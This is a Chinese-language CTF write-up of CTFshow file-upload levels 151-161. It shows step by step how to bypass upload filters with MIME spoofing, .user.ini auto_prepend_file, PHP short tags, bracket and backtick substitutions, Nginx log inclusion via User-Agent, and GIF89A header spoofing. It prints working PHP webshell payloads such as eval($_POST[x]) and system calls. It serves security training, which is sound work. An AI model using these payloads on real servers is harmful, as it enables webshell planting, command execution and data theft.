一、知识点
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用
4、文件上传-PHP语言特性
二、详细点
1、检测层面:前端,后端
前置:后门代码需要用特定格式后缀解析,不能以图片后缀解析解析脚本后门代码(解析漏洞除外)
如:JPG图片里面有PHP后门代码,不能被触发,所以连接不上后门
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIMEE检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
三、演示案例
1、CTFshow-151
前端过滤–直接修改前端允许上传的类型绕过
利用插件hackbar,或者webshell工具(哥斯拉,蚁剑等)
2、CTFshow-152
前后端同时过滤:JS验证+MIME
1)修改前端代码允许php文件上传
2)BP抓包修改content-type为image/png绕过
3、CTFshow-153
前后端过滤同时严格过滤参数:JS验证+.user.ini
1)上传.user.ini配置文件:auto_prepend_file=1.png
2)上传写有webshell的文件(可以为txt也可以为png)
1.png:"PHP一句话木马"
3)访问index.php即可反弹shell
补充知识:.user.ini
除了PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来设置的。在修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR、 PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file; 指定一个文件,自动包含在要执行的文件前。
auto_prepend_file; 指定一个文件,自动包含在要执行的文件后。
使用方法很简单,直接写在.user.ini中:
auto_prepend_file=1.png
或者
auto_append_file=1.png
4、CTFshow-154,155
JS验证+.user.ini+短标签
1)上传.user.ini文件:auto_prepend_file = 1.png
2)上传木马文件1.png:"PHP一句话木马" (No)
3)删减进行过滤内容确定,最终确定为过滤掉了
选择PHP代码执行的等价格式: <?=eval($_POST[x]);?>(YES)
4)访问index.php,即可反弹shell。
# 等价为PHP代码 <?php phpinfo();?> 的代码执行格式
# PHP短标签
<? echo '123';?> #前提是开启配置参数short_open_tags=on
<?=(表达式) ?> #不需要开启参数设置
<% echo '123';%> #前提是开启配置参数asp_tapgs=on
<script language="php">echo '1'; </script> #不需要修改参数开关
5、CTFshow-156
JS验证+user.ini+短标签+过滤
比对分析可知,过滤了[]
1)上传.user.ini文件:auto_prepend_file = 1.png
2)上传木马文件1.png: <?=eval($_POST[x]);?>(No)
3)1.png:<?=eval($_POST{0});?> (YES)
4)访问index.php,即可反弹shell。
5、CTFshow-157-159
JS验证+user.ini+短标签+过滤
157-158关:过滤了;
159关:过滤了()
1)上传.user.ini文件:auto_prepend_file = 1.png
2)上传木马文件1.png: <?=eval($_POST{x});?>(No)
3)157-158 ==> 1.png:<?=system('tac ../fl*')?> (YES)
159 ==> 1.png: <?=`tac ../fl*`?>(YES)
反引号运算符的效果与函数shell_exec(相同)
6、CTFshow-160
JS验证+user.ini+短标签+过滤
BP抓包发现使用的Nginx中间件,Nginx的日志路径为:/var/log/nginx
采用包含默认日志的方式进行绕过处理,日志中记录UA头信息,在UA头信息中写入后门代码,hackbar或者远程工具连接获取flag。
1)上传.user.ini文件:auto_prepend_file = 1.png
2)上传木马文件1.png: <?=`tac ../fl*`?>(No)
3)1.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?> (YES)
4)BP抓包,在UA头信息中写入后门代码,利用工具获取flag
7、CTFshow-161
JS验证+user.ini+短标签+过滤
文件头部检测是否为图片格式文件
user ini:GIF89A auto_prepend_file=test.png
test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?> (YES)
版权归原作者 weixin_43809272 所有, 如有侵权,请联系我们删除。